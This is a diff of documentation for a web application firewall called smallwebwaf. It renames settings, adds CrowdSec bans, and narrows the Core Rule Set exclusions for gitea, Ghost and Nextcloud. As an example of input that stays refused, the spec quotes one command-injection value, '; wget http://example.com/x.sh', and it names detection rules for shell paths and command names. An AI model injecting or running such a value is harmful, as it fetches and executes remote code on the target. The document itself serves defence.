| `SWW_WAF_LOG_REQUEST_HEADERS` | `accept,accept-language,accept-encoding,content-type,origin,range` | The request headers whose values the request log records; `Authorization` and `Cookie` are never recorded. |
| `SWW_WAF_LOG_REMOTE_URL` | unset | A syslog server that also gets every line `waf` writes: `syslog+udp://`, `syslog+tcp://` or `syslog+tls://` with a host and a port. |
| `SWW_WAF_LOG_REMOTE_TLS_CA_FILE` | unset | A file of PEM certificates a `syslog+tls` server's certificate must chain to, instead of the host's own. |
| `SWW_WAF_LOG_REMOTE_BUFFER` | `10000` | The most lines held while they wait to be sent; past it, the oldest is dropped. |
| `SWW_WAF_LOG_REMOTE_FACILITY` | `local0` | The syslog facility of each record sent. |
| `SWW_WAF_LOG_REMOTE_APP_NAME` | `SWW_WAF_INSTANCE_NAME` | The app name in each syslog record, 1 to 48 printable ASCII characters without a space. |
| `SWW_WAF_ADMIN_TOKEN` | unset | The bearer token for the ban and client endpoints, at least 32 characters; unset, they answer `404`. |
| `SWW_WAF_METRICS_TOKEN` | unset | The bearer token for `/_sww/metrics`, at least 32 characters; unset, the metrics are off. |
| `SWW_WAF_METRICS_TOP_N` | `50` | How many AS numbers and how many countries get metric series of their own; the rest are summed as `other`. |
| `SWW_WAF_ALERT_WEBHOOK_URL` | unset | A webhook each alert is posted to as a JSON object. |
| `SWW_WAF_ALERT_WEBHOOK_HEADERS` | empty | Headers sent with each post, a list of `Name:value`, such as `Authorization:Bearer <token>`. |
| `SWW_WAF_ALERT_SLACK_WEBHOOK_URL` | unset | A Slack incoming webhook each alert is posted to as a message. |
| `SWW_WAF_ALERT_NTFY_URL` | unset | An ntfy topic each alert is published to, as its full URL, such as `https://ntfy.sh/my-alerts`. |
| `SWW_WAF_ALERT_NTFY_TOKEN` | unset | An ntfy access token sent with each alert. |
| `SWW_WAF_ALERT_EVENTS` | `ban,permanent_ban,core_rule_set_match,anomaly,reputation_hit,source_failure,file_error` | The events alerts are sent for; the hourly `summary` is sent whatever it says. |
| `SWW_WAF_ALERT_COOLDOWN` | `15m` | How long after an alert its repeats are held back and counted, a duration or `off`. |
| `SWW_WAF_ALERT_MAX_PER_HOUR` | `60` | The most alerts sent in an hour, a number or `off`; the rest are counted in the hour's `summary`. |
| `SWW_WAF_ANOMALY_CLIENT_REQUESTS_PER_MINUTE` | `off` | Alert when one client makes more requests than this in a minute, a count. |
| `SWW_WAF_ANOMALY_CLIENT_REQUESTS_PER_HOUR` | `off` | Alert when one client makes more requests than this in an hour, a count. |
| `SWW_WAF_ANOMALY_CLIENT_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNT` counts them, are counted for one client in a minute, a size. |
| `SWW_WAF_ANOMALY_CLIENT_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNT` counts them, are counted for one client in an hour, a size. |
| `SWW_WAF_ANOMALY_NET_REQUESTS_PER_MINUTE` | `off` | Alert when the netblock around a client makes more requests than this in a minute, a count. |
| `SWW_WAF_ANOMALY_NET_REQUESTS_PER_HOUR` | `off` | Alert when the netblock around a client makes more requests than this in an hour, a count. |
| `SWW_WAF_ANOMALY_NET_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNT` counts them, are counted for the netblock around a client in a minute, a size. |
| `SWW_WAF_ANOMALY_NET_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNT` counts them, are counted for the netblock around a client in an hour, a size. |
| `SWW_WAF_ANOMALY_NET_V4_PREFIX` | `24` | The prefix length of the netblock around an IPv4 client that the `SWW_WAF_ANOMALY_NET_` thresholds count, from 0 to 32. |
| `SWW_WAF_ANOMALY_NET_V6_PREFIX` | `48` | The prefix length of the netblock around an IPv6 client that the `SWW_WAF_ANOMALY_NET_` thresholds count, from 0 to 128. |
| `SWW_WAF_ANOMALY_ASN_REQUESTS_PER_MINUTE` | `off` | Alert when one AS number makes more requests than this in a minute, a count. |
| `SWW_WAF_ANOMALY_ASN_REQUESTS_PER_HOUR` | `off` | Alert when one AS number makes more requests than this in an hour, a count. |
| `SWW_WAF_ANOMALY_ASN_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNT` counts them, are counted for one AS number in a minute, a size. |
| `SWW_WAF_ANOMALY_ASN_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNT` counts them, are counted for one AS number in an hour, a size. |
| `SWW_WAF_ANOMALY_TOTAL_REQUESTS_PER_MINUTE` | `off` | Alert when the whole service gets more requests than this in a minute, a count. |
| `SWW_WAF_ANOMALY_TOTAL_REQUESTS_PER_HOUR` | `off` | Alert when the whole service gets more requests than this in an hour, a count. |
| `SWW_WAF_ANOMALY_TOTAL_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNT` counts them, are counted for the whole service in a minute, a size. |
| `SWW_WAF_ANOMALY_TOTAL_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNT` counts them, are counted for the whole service in an hour, a size. |
| `SWW_WAF_WATCH_NETS` | empty | Named netblocks the `SWW_WAF_WATCH_` thresholds count each as a whole, such as `office=203.0.113.0/24,scraper-x=198.51.100.0/22`. |
| `SWW_WAF_WATCH_REQUESTS_PER_MINUTE` | `off` | Alert when a watched netblock makes more requests than this in a minute, a count. |
| `SWW_WAF_WATCH_REQUESTS_PER_HOUR` | `off` | Alert when a watched netblock makes more requests than this in an hour, a count. |
| `SWW_WAF_WATCH_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNT` counts them, are counted for a watched netblock in a minute, a size. |
| `SWW_WAF_WATCH_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNT` counts them, are counted for a watched netblock in an hour, a size. |
[`docs/settings.md`](docs/settings.md) gives the values each setting takes in
full, and the limits that are fixed rather than settings.
@@ -452,7 +455,7 @@ services:
environment:
SWW_RPROXY_WAF_BACKEND: http://waf:8080
# Answer 503 rather than pass a request on while waf is down.
SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION: deny
SWW_RPROXY_DEFAULT_DISPOSITION: deny
ports:
- "8080:8080"
@@ -534,12 +537,12 @@ request reaches the app.
17. The request is passed to the app, streaming.
18. After the answer, `rproxy` sends `waf` a report with the status and the body
bytes each way. For an allowed request, `waf` counts the bytes
`SWW_WAF_BYTES_COUNTED` names toward the byte limits, bans the client if
they take it past one, and adds the request to the client's history.
`SWW_WAF_BYTES_COUNT` names toward the byte limits, bans the client if they
take it past one, and adds the request to the client's history.
A refused visitor is answered with `SWW_WAF_BAN_RESPONSE`. A `block` rule or a
Core Rule Set match answers `403` and bans nobody, since the Core Rule Set has
false positives; such refusals count toward `SWW_WAF_REFUSALS_LIMIT_PER_MINUTE`
false positives; such refusals count toward `SWW_WAF_ERROR_BURST_THRESHOLD`
instead. A request over the header limits of step 3 is answered `431`, and bans
nobody either. `rproxy` itself answers `405` to a method it does not pass on,
and the status for a size or time limit, such as `413` for a body too large.
@@ -567,7 +570,8 @@ Each request gets tags from what `waf` knows of its client, written in the
- `asn=<number>` and `country=<code>`, from the lookup;
- one tag per list of `SWW_WAF_TAG_LISTS` that holds the client, such as
`torexit` or `vpn=mullvad`;
- `dnsbl=<zone>` and `abuseipdb`, when that reputation source lists the client;
- `crowdsec`, `dnsbl=<zone>` and `abuseipdb`, when that reputation source lists
the client;
- `exploitsignature`, when a rule file or the Core Rule Set matched the request;
- `asn=<number>` and `prefix=<netblock>`, from a routewatch instance, while
`SWW_WAF_ROUTEWATCH_URL` is set.
@@ -579,8 +583,8 @@ lowers a client's limits by tag. See "Request tags" in [`SPEC.md`](SPEC.md).
- The Core Rule Set reads the method, the URL with its query string, and the
headers of every request, and no body unless
`SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE` is set. In front of a code forge,
bodies carry what people write and publish, which the rules take for attacks.
`SWW_WAF_CORE_RULE_SET_BODY_LIMIT` is set. In front of a code forge, bodies
carry what people write and publish, which the rules take for attacks.
- `smallwebwaf` changes the Core Rule Set in five ways so that it lets ordinary
requests to a code forge through, such as git over HTTP and sign-in through
Git Credential Manager. No setting undoes the changes; "Attack detection" in
@@ -605,9 +609,9 @@ lowers a client's limits by tag. See "Request tags" in [`SPEC.md`](SPEC.md).
- `nextcloud`, whose fixes let through its sync client, its WebDAV methods,
its searches, its file names, its account names, its comments and its
documents;
- `ghost`, whose fixes let through the text its admin and members type, its
analytics, its code injection, ActivityPub and a post saved from its
editor, HTML included.
- `ghost`, whose fixes let through its filters, its searches, its names, its
email addresses, its code injection, its settings and a post saved from
its editor, HTML included.
- A random password, as a password manager makes one, gets through these forms:
- signing in, signing up, and changing or resetting a password, on
WordPress, Drupal, MediaWiki, Mastodon, Nextcloud, gitea and Ghost;
+212 -307
View File
@@ -157,29 +157,29 @@ field gives that name. `refusal_limit` and `byte_limits` give theirs in
`prefix=` tags while `SWW_WAF_ROUTEWATCH_URL` is set. A client in
`SWW_WAF_ALLOW_NETS` skips the header limits and gets no tag.
4. The static lists. A client in `SWW_WAF_ALLOW_NETS` skips steps 5 to 15, the
byte limits and the refusal limit. A client in `SWW_WAF_DENY_NETS` is refused
byte limits and the error burst. A client in `SWW_WAF_DENY_NETS` is refused
(`deny_nets`); a client in both lists is let through.
5. Bans. A client under a ban is refused (`active_ban`; see "Bans").
6. The lookup, unless `SWW_WAF_LOOKUP_SOURCE` is `off` (see "Lookup of AS number
and country"). The request waits for the first GeoJS answer, up to
`SWW_WAF_ASN_AND_COUNTRY_LOOKUP_TIMEOUT_MS`, when one of these needs it:
- `SWW_WAF_ADD_LOOKUP_HEADERS`, which is `true` by default;
and country"). The request goes on at once. It waits for the first GeoJS
answer, up to `SWW_WAF_LOOKUP_TIMEOUT`, only when one of these needs it:
- the country list;
- a biased threshold;
- `SWW_WAF_TAG_DENY` or `SWW_WAF_TAG_LIMIT_PERCENT` naming an `asn=` or
`country=` tag.
`country=` tag;
- `SWW_WAF_ADD_LOOKUP_HEADERS`.
Otherwise the request goes on at once. A request that ends before the answer
comes is logged without it.
A request that ends before the answer comes is logged without it.
7. The country list (`countries`; see "Country list").
8. The reputation sources (see "Reputation"), in this order:
- A client on a fetched blocklist gets `SWW_WAF_BLOCKLIST_ACTION`
(`blocklists`).
- A client listed by a DNS blocklist gets `SWW_WAF_DNSBL_ABUSEIPDB_ACTION`
- A client on the CrowdSec decision list is banned (`crowdsec`).
- A client listed by a DNS blocklist gets `SWW_WAF_REPUTATION_ACTION`
(`dnsbl`).
- A client scored at least `SWW_WAF_ABUSEIPDB_MIN_SCORE` by AbuseIPDB gets
`SWW_WAF_DNSBL_ABUSEIPDB_ACTION` (`abuseipdb`).
`SWW_WAF_REPUTATION_ACTION` (`abuseipdb`).
9. The tag refusals (`tag_deny`; see "Request tags"). A request carrying a tag
in `SWW_WAF_TAG_DENY` is refused.
10. The client's limit percentage (see "Biased thresholds").
@@ -197,25 +197,25 @@ field gives that name. `refusal_limit` and `byte_limits` give theirs in
16. A path under `/_sww/` is answered `404`, so that the app never sees that
prefix.
17. `rproxy` passes the request to `SWW_RPROXY_UPSTREAM_URL`, streaming (see
"Passing a request to the app"). While `SWW_WAF_ADD_LOOKUP_HEADERS` is
`true`, as by default, `X-Client-ASN` and `X-Client-Country` are added for
the app's own logs; a header whose value is unknown is left out. Whatever
that setting says, any such header the client sent is removed.
"Passing a request to the app"). With `SWW_WAF_ADD_LOOKUP_HEADERS`,
`X-Client-ASN` and `X-Client-Country` are added for the app's own logs; a
header whose value is unknown is left out. Whatever that setting says, any
such header the client sent is removed.
18. After the visitor's answer has ended, `rproxy` sends the report (see "The
report"). `waf` then counts:
- For a request it allowed, the body bytes of the response, of the request
or of both are added to the byte counters, as `SWW_WAF_BYTES_COUNTED`
says. For a WebSocket, what it carried each way counts once it closes. A
client whose total passes a byte limit times the percentage has broken
that limit and is banned (`byte_limits`). The request that broke it has
already been passed on whole; nothing is cut off.
or of both are added to the byte counters, as `SWW_WAF_BYTES_COUNT` says.
For a WebSocket, what it carried each way counts once it closes. A client
whose total passes a byte limit times the percentage has broken that limit
and is banned (`byte_limits`). The request that broke it has already been
passed on whole; nothing is cut off.
- For a request it allowed, the client's history and the anomaly counters
are updated, and the alert thresholds are evaluated.
For a request it refused, `waf` adds nothing to the byte limits. It updates
the history and the anomaly counters at its decision. A refusal for a rule
file match, a trap path or a Core Rule Set match also counts toward the
refusal limit at the decision (`refusal_limit`; see "Attack detection").
the history and the anomaly counters at its decision. It counts the refusals
the error burst counts at the decision too (`refusal_limit`; see "Attack
detection").
In `SWW_WAF_MODE=observe`, every refusal above is logged as what would have
happened, nothing is refused, and `waf` makes no ban of its own. A path under
@@ -279,7 +279,7 @@ to a ban, each by its own rule:
- a request over a rate limit;
- the bytes counted for a request and its response taking the client's total
past a byte limit;
- more than `SWW_WAF_REFUSALS_LIMIT_PER_MINUTE` refusals within a minute.
- more than `SWW_WAF_ERROR_BURST_THRESHOLD` refusals within a minute.
The bans for a broken limit:
- The first such ban lasts `SWW_WAF_LIMIT_BAN_DURATION` (default `1h`), with
@@ -288,18 +288,25 @@ to a ban, each by its own rule:
ended.
- Breaking a limit again within that window makes the new ban three times as
long as the last one: one hour, then 3, 9, 27 and 81 hours.
- A ban that would be longer than `SWW_WAF_LIMIT_BAN_PERMANENT_ABOVE`
(default `7d`) is permanent instead. At the defaults, that is the sixth
ban in a row.
- A ban that would be longer than `SWW_WAF_MAX_BAN_DURATION` (default `7d`)
is permanent instead. At the defaults, that is the sixth ban in a row.
- Each such ban sets the client's counters for every limit back to zero.
Once it ends, only new requests can break a limit again. The client's
history keeps its totals.
A Core Rule Set match refuses only the request it matched, with `403` and
without a ban, because the Core Rule Set has false positives. A `block` rule
does the same. Those refusals count toward the refusal limit, so a client that
does the same. Those refusals count toward the error burst, so a client that
keeps setting them off is banned for a broken limit.
A client on the CrowdSec decision list is banned until the decision ends, with
the cause `crowdsec`. Only a client that sends a request is banned, so a long
list does not fill `bans.json`. Such a ban is never made permanent. It does not
make the netblock's next ban for a broken limit longer. A ban lifted while the
decision is in force is made again at the client's next request. To lift it for
good, delete the decision in CrowdSec, then lift the ban once the list has been
fetched again.
These refuse each request they cover, record nothing in `bans.json`, and count
no offence:
@@ -329,10 +336,10 @@ toward `SWW_WAF_MAX_BANS`, so such bans can never fill the table.
A request refused under a ban that runs out is logged with the action
`temporarily_banned`. Under a permanent ban the action is `permanently_banned`.
A request refused for a clear sign of attack takes the action for the ban it
made. A request that makes a ban permanent is logged as `permanently_banned`. A
request over a rate limit is logged as `client_is_rate_limited`, whichever ban
it makes.
A request refused for a clear sign of attack or a CrowdSec decision takes the
action for the ban it made. A request that makes a ban permanent is logged as
`permanently_banned`. A request over a rate limit is logged as
`client_is_rate_limited`, whichever ban it makes.
## Settings
@@ -343,9 +350,8 @@ below are `waf`'s settings; "`rproxy`" gives the use of `rproxy`'s. Conventions:
- These settings take `off`, which switches them off:
- `SWW_WAF_LOOKUP_SOURCE` and `SWW_WAF_CORE_RULE_SET_MODE`;
- the three rate limits and the three byte limits;
- `SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD`,
`SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE` and
`SWW_WAF_REFUSALS_LIMIT_PER_MINUTE`;
- `SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD`,
`SWW_WAF_CORE_RULE_SET_BODY_LIMIT` and `SWW_WAF_ERROR_BURST_THRESHOLD`;
- `SWW_WAF_ALERT_COOLDOWN` and `SWW_WAF_ALERT_MAX_PER_HOUR`;
- every anomaly threshold;
- `SWW_RPROXY_MAX_REQUEST_SIZE`, `SWW_RPROXY_MAX_RESPONSE_SIZE`,
@@ -398,9 +404,9 @@ below are `waf`'s settings; "`rproxy`" gives the use of `rproxy`'s. Conventions:
- `SWW_WAF_STATE_DIR` names the directory of the state files, and
`SWW_WAF_CACHE_DIR` that of the cache files (see "State" under "Deployment").
- `bans.json` is written `SWW_WAF_BANS_WRITE_DELAY` after a ban is made, lifted
- `bans.json` is written `SWW_WAF_STATE_WRITE_DELAY` after a ban is made, lifted
or made permanent, so a burst of changes becomes one write. Every file is
written every `SWW_WAF_STATE_WRITE_INTERVAL`, and at an orderly stop.
written every `SWW_WAF_STATE_COUNTER_INTERVAL`, and at an orderly stop.
### Logging
@@ -414,16 +420,15 @@ below are `waf`'s settings; "`rproxy`" gives the use of `rproxy`'s. Conventions:
### Metrics
- `SWW_WAF_METRICS_BUSIEST_COUNTRIES_AND_ASNS` is how many of the busiest AS
numbers and countries get a series of their own. The rest are summed as
`other`, so the label set stays bounded.
- `SWW_WAF_METRICS_TOP_N` is how many of the busiest AS numbers and countries
get a series of their own. The rest are summed as `other`, so the label set
stays bounded.
### Static lists
- `SWW_WAF_ALLOW_NETS` skips the checks step 4 names, for monitoring or the
owner's own networks. `SWW_WAF_RATE_LIMIT_EXEMPT_NETS` bypasses the request
and byte limits only; the refusal limit, attack detection and bans still
apply.
and byte limits only; the error burst, attack detection and bans still apply.
- Many people can share one address, as in an office, on a mobile carrier or
through Tor. They are one client, and share its limits and its bans. A known
shared address busier than the limits allow belongs in `SWW_WAF_ALLOW_NETS` or
@@ -469,7 +474,7 @@ app may read it as a path outside the prefix.
### Byte limits, per client
The byte limits count body bytes: the app's response bodies, the visitors'
request bodies, or both, as `SWW_WAF_BYTES_COUNTED` says. Headers are never
request bodies, or both, as `SWW_WAF_BYTES_COUNT` says. Headers are never
counted. What the visitor sent over a WebSocket counts as request bytes, and
what the app sent as response bytes. The bytes counted for a request and its
response are added to the client's total once the response has ended (see step
@@ -505,11 +510,11 @@ service that keeps its visitors' addresses on its own host.
are kept apart from the table of clients, so that an answer outlasts a client
dropped from that table. The answer reaches the client's history and ban notes
when it comes.
- `SWW_WAF_ASN_AND_COUNTRY_LOOKUP_TIMEOUT_MS` is how long a visitor's request
waits for its client's first answer, when a setting needs it (see step 6). It
also bounds each request to GeoJS. A client whose answer has not come in time
counts as unknown until it comes, and its later requests do not wait. Its
address is asked about again in the background.
- `SWW_WAF_LOOKUP_TIMEOUT` is how long a visitor's request waits for its
client's first answer, when a setting needs it (see step 6). It also bounds
each request to GeoJS. A client whose answer has not come in time counts as
unknown until it comes, and its later requests do not wait. Its address is
asked about again in the background.
- A client the lookup cannot place has an unknown country and AS number, which
the country list and the biased thresholds treat as described there. Nothing
else treats it differently.
@@ -566,12 +571,12 @@ Each tag and where it comes from:
- One tag per list of `SWW_WAF_TAG_LISTS` that holds the client (`tag_lists`),
the tag being the list's name, such as `torexit` or `vpn=mullvad`. These lists
are fetched and kept like a blocklist. `waf` ships none of its own.
- `dnsbl=<zone>` and `abuseipdb`, when that reputation source lists the client,
whatever the source's action. A zone with a key is named with the key masked,
as the `reputation` field gives it.
- `crowdsec`, `dnsbl=<zone>` and `abuseipdb`, when that reputation source lists
the client, whatever the source's action. A zone with a key is named with the
key masked, as the `reputation` field gives it.
- `exploitsignature`, when a rule file or the Core Rule Set matched the request.
For the Core Rule Set a match is a score at or over
`SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD`.
`SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD`.
- `asn=<number>` and `prefix=<netblock>` from a routewatch instance
(`routewatch_tags`), while `SWW_WAF_ROUTEWATCH_URL` is set:
- The tag `prefix=` holds the netblock the client's address is announced in,
@@ -618,13 +623,13 @@ abuse comes from.
- `SWW_WAF_TAG_LIMIT_PERCENT` gives a tag a percentage, such as `asn=14061:50`
(see "Request tags"). A lowered limit is rounded down.
- `SWW_WAF_UNKNOWN_COUNTRY_LIMIT_PERCENT` at `0` is a zero allowance: the
client's first request breaks a limit and bans it.
- `SWW_WAF_ASN_BYTES_LIMIT_PERCENT` and `SWW_WAF_COUNTRY_BYTES_LIMIT_PERCENT`
set the byte limits' percentage alone, when it should differ from the request
limits'. For an AS number they list, they replace its `asn=` tag's percentage
and its entry in `SWW_WAF_ASN_LIMIT_PERCENT_URL`; for a country, its
`country=` tag's percentage.
- `SWW_WAF_UNKNOWN_LIMIT_PERCENT` at `0` is a zero allowance: the client's first
request breaks a limit and bans it.
- `SWW_WAF_ASN_BYTES_PERCENT` and `SWW_WAF_COUNTRY_BYTES_PERCENT` set the byte
limits' percentage alone, when it should differ from the request limits'. For
an AS number they list, they replace its `asn=` tag's percentage and its entry
in `SWW_WAF_ASN_LIMIT_PERCENT_URL`; for a country, its `country=` tag's
percentage.
- `SWW_WAF_ASN_LIMIT_PERCENT_URL` names a text file of `AS:percent` lines, so
one abuse-source list can be shared by every `waf` in the fleet. It is fetched
and kept like a blocklist (see "Reputation"). Each entry counts like an `asn=`
@@ -632,8 +637,8 @@ abuse comes from.
applies.
- A client's limit percentage is the lowest of those that apply to it: its AS
number's, its country's, its tags', or a reputation hit's `limit:<percent>`. A
client without a country gets `SWW_WAF_UNKNOWN_COUNTRY_LIMIT_PERCENT` in place
of a country's. The percentage is 100 if none applies. Clients given a lower
client without a country gets `SWW_WAF_UNKNOWN_LIMIT_PERCENT` in place of a
country's. The percentage is 100 if none applies. Clients given a lower
percentage are banned after fewer requests, first for a while and then, for
repeated abuse, permanently. The log line of each counted request, and the
notes of each ban, say which setting lowered the limit.
@@ -655,16 +660,16 @@ files, the limits and the bans still apply to the client that sends it.
- The Core Rule Set skips a path under `SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS`.
- `SWW_WAF_CORE_RULE_SET_PARANOIA_LEVEL` and
`SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD` are the Core Rule Set's own two tuning
values, at its own defaults. Each level up runs more rules, which find more
attacks and take more ordinary requests for attacks. Each rule that matches
adds its score to the request's, and a rule rated critical adds 5. A request
whose score reaches the threshold is a match, so by default one critical rule
is enough. With the threshold `off`, nothing is a match, and scores are still
logged. A request with more than 1000 query parameters or body fields adds 5
to its score, since Coraza reads only the first 1000. For a match, in `block`
and `detect` mode alike, the log line gives the rule ids and the score, and a
`core_rule_set_match` alert is sent.
`SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD` are the Core Rule Set's own two
tuning values, at its own defaults. Each level up runs more rules, which find
more attacks and take more ordinary requests for attacks. Each rule that
matches adds its score to the request's, and a rule rated critical adds 5. A
request whose score reaches the threshold is a match, so by default one
critical rule is enough. With the threshold `off`, nothing is a match, and
scores are still logged. A request with more than 1000 query parameters or
body fields adds 5 to its score, since Coraza reads only the first 1000. For a
match, in `block` and `detect` mode alike, the log line gives the rule ids and
the score, and a `core_rule_set_match` alert is sent.
- `SWW_WAF_CORE_RULE_SET_DISABLED_RULES` switches off rule ids when an app trips
a false positive. The default switches off six rules:
- 920340, 920420 and 920640 refuse a request for the type of its body, when
@@ -702,14 +707,14 @@ files, the limits and the bans still apply to the client that sends it.
loads, such as `SecRuleRemoveById`, since none of the Core Rule Set's
rules is loaded yet.
- `SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE` switches body inspection on, up
to that size. It takes at most `64K`, since `waf` gets no more of a body than
that (see "The answer"). Form data and multipart bodies are read up to the
size. JSON and XML bodies are read only when no larger than the size, since
those cannot be read in part. Any other body is not read: the Core Rule Set
would read it as form data, where binary content such as a git push trips
rules written for text. A body the Core Rule Set cannot parse adds 5 to the
score, and so does a multipart body cut by the limit in the middle of a part's
- `SWW_WAF_CORE_RULE_SET_BODY_LIMIT` switches body inspection on, up to that
size. It takes at most `64K`, since `waf` gets no more of a body than that
(see "The answer"). Form data and multipart bodies are read up to the size.
JSON and XML bodies are read only when no larger than the size, since those
cannot be read in part. Any other body is not read: the Core Rule Set would
read it as form data, where binary content such as a git push trips rules
written for text. A body the Core Rule Set cannot parse adds 5 to the score,
and so does a multipart body cut by the limit in the middle of a part's
header. Body inspection suits apps whose forms carry no code.
- `SWW_WAF_TRAP_PATHS` names paths the app never serves and only scanners ask
for, such as `/wp-login.php` in front of an app that is not WordPress. This is
@@ -718,8 +723,8 @@ files, the limits and the bans still apply to the client that sends it.
the path as sent and once percent-decoded: `/wp-login.php` matches
`/wp-login.php?x=1` and `/%77p-login.php`, and does not match `/wp-login.php/`
or `/blog/wp-login.php`.
- `SWW_WAF_REFUSALS_LIMIT_PER_MINUTE` counts a client's refusals per minute of
these kinds, and of no other:
- `SWW_WAF_ERROR_BURST_THRESHOLD` counts a client's refusals per minute of these
kinds, and of no other:
- a rule file match;
- a trap path;
- a Core Rule Set match.
@@ -743,10 +748,10 @@ every app, and no setting undoes them:
Core Rule Set does not read, which by default is every request. git
compresses a fetch request over 1 KiB and says so in that header. On a body
the Core Rule Set does read, the header stays refused, since a compressed
body cannot be inspected. While `SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE`
is set, it stays refused too on a `PUT` of JSON, XML or form data to
Nextcloud's WebDAV paths, whose body Nextcloud's fixes leave unread. The
other headers the Core Rule Set refuses, such as `Proxy`, stay refused.
body cannot be inspected. While `SWW_WAF_CORE_RULE_SET_BODY_LIMIT` is set, it
stays refused too on a `PUT` of JSON, XML or form data to Nextcloud's WebDAV
paths, whose body Nextcloud's fixes leave unread. The other headers the Core
Rule Set refuses, such as `Proxy`, stay refused.
3. The `redirect_uri` parameter is not checked for a URL naming an IP address or
`localhost` (931100, 934110). Git Credential Manager, git-credential-oauth
and tea, which gitea registers for OAuth sign-in, ask to be sent back to
@@ -807,7 +812,7 @@ one entry of `apps` in `internal/coreruleset/coreruleset.go`. gitea's fixes are:
- `artifactName` and `redirect_to`.
They skip these rules in the query, and in a form data or multipart body
while `SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE` is set.
while `SWW_WAF_CORE_RULE_SET_BODY_LIMIT` is set.
gitea puts into them file paths, branch and workflow names, and the page to
return to after signing in. It reads these values as names in a repository
@@ -874,13 +879,11 @@ one entry of `apps` in `internal/coreruleset/coreruleset.go`. gitea's fixes are:
which refused `org.apache.commons.logging`.
A branch, tag or package name can hold a slash, as `feat/docker-support`
does. So `q` skips the rule for shell paths (932160) too on these
searches, where it refused `/bin/sh`:
does. So `q` skips the rule for shell paths (932160) too on these pages,
where it refused `/bin/sh`:
- a repository's branches, tags and packages pages;
- an owner's packages page;
- the admin page of packages;
- the API's search of packages;
- the searches of the Composer and Conan registries.
- the admin page of packages.
- `q` on gitea's other searches, for the same four rules. Words such as
`python3`, `powershell`, `ls -la` and `.htaccess` were refused there. The
@@ -895,46 +898,12 @@ one entry of `apps` in `internal/coreruleset/coreruleset.go`. gitea's fixes are:
- the runner lists of the site, a user, an organisation and a
repository;
- the admin lists of users, organisations, repositories, unadopted
repositories and emails;
- the API's searches of topics, of an organisation's teams and of
emails;
- the searches of the Cargo, Chef, Composer and Conan registries, and
the NuGet registry's search service.
repositories and emails.
Most send `q` in the query string. The admin forms that adopt a
repository or activate an email send it in the body. gitea serves its
admin pages under `/-/admin/` and Forgejo under `/admin/`.
- Two fields of the API's searches other than `q`, for the same four rules:
- `query` of the search of unadopted repositories, which holds an owner
and a name, such as `alice/python3-app`;
- `name` of the search of a repository's milestones.
- Fields of the package registries' searches:
- `text` of the npm registry's search, for the same four rules and the
rule for shell paths (932160). An npm name can hold a slash, as
`@alice/tools-cli` does.
- `searchTerm` of the NuGet v2 API's searches, for the same four rules.
These are the searches:
- `Search()` and `Packages()`;
- `Search()/$count` and `Packages()/$count`, which count their
results.
- `$filter` of those searches, for the lists of system files and Windows
commands (930120, 932120). It holds an expression such as
`tolower(Id) eq 'python3'`.
- The names `$filter`, `$orderby` and `$top` on those searches, for the
rule for MongoDB operators (942290). It refused every such search.
- `q` of a Conan search, for the rule for SQL injection (942100), which
refused the pattern `zlib/*`. `q` skips it only when the request has
one `q`, in the query string or the body. That `q` has the shape of a
Conan reference. A reference is a name, then optionally `/` and a
version, then optionally `@` and a user, then optionally `/` and a
channel. Each part is made of letters, digits, `_`, `.`, `-` and `*`.
A part holds no `+`, since 942100 reads `+` as a space. `q` also holds
no `*/`, which ends an SQL comment, and no `--`, which starts one. And
942100 finds no SQL injection in `q` once each comment that `/*`
starts, an unclosed one included, is replaced by a space.
- The path of these requests, which names a file:
- a file's page;
- its raw file;
@@ -1002,8 +971,8 @@ one entry of `apps` in `internal/coreruleset/coreruleset.go`. gitea's fixes are:
and `fix-powershell-module` were refused.
`; wget http://example.com/x.sh` and path traversal are still refused in
these fields. These exclusions matter only while
`SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE` is set. None applies when
the query has a parameter of the same name.
`SWW_WAF_CORE_RULE_SET_BODY_LIMIT` is set. None applies when the query
has a parameter of the same name.
- `id` of the forms that adopt or delete an unadopted repository, for the
rules that refused repository names (930120, 932120, 932160, 932260). `id`
@@ -1097,8 +1066,7 @@ The fields are:
the lists of system files, shell paths, command names and JavaScript names
(930120, 932120, 932160, 932260, 941180).
- These fields of a body. Each applies only when the query has no parameter of
that name, so it matters only while
`SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE` is set:
that name, so it matters only while `SWW_WAF_CORE_RULE_SET_BODY_LIMIT` is set:
- `content` of a post, a page, a template or a template part saved through
the REST API. It holds HTML and any code it shows.
- `content` of a reply to a comment sent to `admin-ajax.php`.
@@ -1225,8 +1193,8 @@ These fields of a body skip the rules that refused them:
for the same four rules.
- `mail` on those forms, for 930120, 932120 and 932260 only.
These exclusions matter only while `SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE`
is set. None applies when the query has a parameter of the same name.
These exclusions matter only while `SWW_WAF_CORE_RULE_SET_BODY_LIMIT` is set.
